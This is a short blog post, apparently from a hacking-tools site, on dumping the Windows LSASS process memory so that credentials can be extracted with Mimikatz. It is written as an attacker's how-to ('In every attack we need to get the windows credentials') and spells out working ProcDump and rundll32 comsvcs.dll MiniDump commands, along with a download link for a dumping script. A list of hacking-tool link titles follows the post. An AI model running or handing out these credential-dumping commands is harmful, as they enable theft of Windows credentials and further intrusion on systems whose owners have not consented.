In every attack we need to get the windows credentials, this super important task. We need to target "LSASS.EXE" process and dump the process memory so that we can use it for extracting credentials using Mimikatz.
Here are some of the important methods,
Using ProcDump :
1. Favorite method of dumping is using "procdump.exe". This tool is from Microsoft Pstools
2. Download ProcDump.exe and upload in on remote system
3. Command : "procdump -ma lsass.exe lsass.dmp"
Using VB Script :
Download script from here :
https://drive.google.com/open?id=1jwy40ykrdEHWB1sddZ-Q5USDX9OOPOPp
rundll32 Command :
Essentially previous method VBS script is using following command for dumping Lsass.exe process
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 992 C:\Users\Public\lsass.bin full
So in case you do not have VB Script with you still you can fire-up the command and dump LSASS process.
Related posts
- Hack Tools
- Hak5 Tools
- Hacker Tools For Ios
- Pentest Tools Port Scanner
- Hack App
- Hacking Tools For Pc
- Hacking Tools Software
- New Hack Tools
- Hacking Apps
- Pentest Tools Subdomain
- Pentest Tools Online
- Underground Hacker Sites
- Hack App
- Pentest Box Tools Download
- Pentest Tools Website Vulnerability
- Best Hacking Tools 2019
- Hack Tool Apk No Root
- Hacking Tools And Software
- Best Pentesting Tools 2018
- Pentest Tools Apk
- Beginner Hacker Tools
Nenhum comentário:
Postar um comentário